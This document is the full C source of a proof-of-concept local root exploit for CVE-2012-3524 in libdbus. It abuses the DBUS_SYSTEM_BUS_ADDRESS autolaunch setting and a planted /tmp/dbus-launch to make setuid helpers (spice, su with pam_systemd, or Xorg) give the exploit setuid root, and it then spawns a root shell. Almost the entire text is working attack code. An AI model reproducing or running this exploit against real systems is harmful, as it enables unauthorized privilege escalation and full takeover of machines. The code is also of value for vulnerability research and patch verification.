libdbus – ‘DBUS_SYSTEM_BUS_ADDRESS’ Local Privilege Escalation
/* dzug.c CVE-2012-3524 PoC (C) 2012 Sebastian Krahmer * * Trivial non-dbus root exploit. (Yes, it is 2012!) * * The underlying bug (insecure getenv() by default) has been * reported ages ago, but nobody really cared. Unless you have an * exploit... * */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/signal.h> #include <sys/stat.h> int main(int argc, char **argv) { int i = 0; struct stat st; pid_t pid = 0; char *env[] = { "PATH=/tmp:/usr/bin:/usr/sbin:/sbin:/bin", "DBUS_STARTER_BUS_TYPE=system", "DBUS_SYSTEM_BUS_ADDRESS=autolaunch:", NULL, NULL }; /* the pam_systemd vector */ char *su[] = {"/bin/su", NULL, "blah", NULL}; /* the spice vector */ char *spice[] = {"/usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper", NULL}; /* the Xorg vector, for older Linux dists and Solaris */ char *xorg[] = {"/usr/bin/Xorg", ":7350", NULL}; char **a = xorg; char *dbus[] = {"/tmp/dbus-launch", NULL}; char *sh[] = {"/bin/bash", "--noprofile", "--norc", NULL}; char me[0x1000]; if (geteuid() == 0 && argc > 1) { chown("/tmp/dbus-launch", 0, 0); chmod("/tmp/dbus-launch", 04755); exit(errno); } else if (geteuid() == 0) { setuid(0); execve(*sh, sh, NULL); return errno; } printf("[**] CVE-2012-3524 xSports -- this is not a dbus exploit!\n\n[*] Preparing ...\n"); memset(me, 0, sizeof(me)); if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0) { /* Solaris */ readlink("/proc/self/path/a.out", me, sizeof(me) - 1); } symlink(me, "/tmp/dbus-launch"); if (stat(spice[0], &st) == 0) { if ((st.st_mode & 04000) == 04000) { printf("[+] Using spice helper ...\n"); a = spice; } } else if (stat("/lib64/security/pam_systemd.so", &st) == 0) { printf("[+] Using pam_systemd helper (type user passwd when asked) ...\n"); env[3] = "DISPLAY=:7350"; su[1] = getenv("USER"); a = su; } else if (stat(xorg[0], &st) == 0) { if ((st.st_mode & 04000) == 04000) printf("[+] Using Xorg helper ...\n"); else { printf("[-] No suitable suid helper found.\n"); exit(0); } } else { printf("[-] No suitable suid helper found.\n"); exit(0); } if ((pid = fork()) == 0) { execve(*a, a, env); exit(0); } printf("[*] Waiting 10s for dbus-launch to drop boomshell.\n"); for (i = 0; i < 10; ++i) { sleep(1); printf("."); fflush(stdout); } kill(pid, SIGKILL); waitpid(pid, NULL, 0); for (;;) { stat(*dbus, &st); if ((st.st_mode & 04755) == 04755) break; sleep(1); } printf("\n[!] Hurra!\n"); execve(*dbus, dbus, NULL); return errno; } |